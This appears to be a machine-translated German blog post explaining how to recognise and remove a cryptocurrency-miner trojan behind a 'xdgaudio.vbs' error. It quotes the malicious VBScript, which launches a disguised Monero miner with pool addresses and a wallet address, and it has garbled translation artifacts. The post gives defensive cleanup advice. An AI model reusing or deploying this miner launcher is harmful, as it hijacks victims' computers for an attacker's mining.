Wenn in Ihrem System die folgende Fehlermeldung zu 'xdgaudio.vbs' angezeigt wird, ist Ihr Computer höchstwahrscheinlich infiziert.
Skript: C: windows xdgaudio.vbs
Zeile: 3
Char: 1
Fehler: Das System kann die angegebene Datei nicht finden.
Code: 80070002
Quelle: (null)
Bei der Bearbeitung mit Notepad kann das Skript folgende Zeilen enthalten:
Dim WShell Set WShell = CreateObject ('WScript.Shell') WShell.Run 'wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o Schicht + tcp: //xmr-eu.dwarfpool.com: 8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -px -k -o Stratum + tcp: //mine.moneropool.com: 3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x‘, 0 Setze WShell = Nothing
Dies sieht sicherlich aus wie ein CPU / Cryptocurrency Miner-Trojaner, der nicht nur Ihren Computer verlangsamt, sondern auch eine Sicherheitsbedrohung darstellen kann. Die Skriptdateien c: windows xdgaudio.vbs und c: windows servicecrsssr.vbs sollte gelöscht werden. Das ist nicht genug. Führen Sie einen gründlichen Scan mit Malwarebytes-Antimalware durch und scannen Sie auch mit der von Ihnen verwendeten Antivirensoftware.
Ausführliche Anweisungen zum Entfernen eines solchen Miner-Trojaners finden Sie im Handbuch malwaretips.com So entfernen Sie den CPU Miner-Trojaner von Windows (Virenhilfe) .
Eine kleine Anfrage: Wenn Ihnen dieser Beitrag gefallen hat, teilen Sie ihn bitte mit.
Ein 'winziger' Anteil von Ihnen würde ernsthaft zum Wachstum dieses Blogs beitragen. Einige großartige Vorschläge:- Pin es!
- Teile es mit deinem Lieblingsblog + Facebook, Reddit
- Tweete es!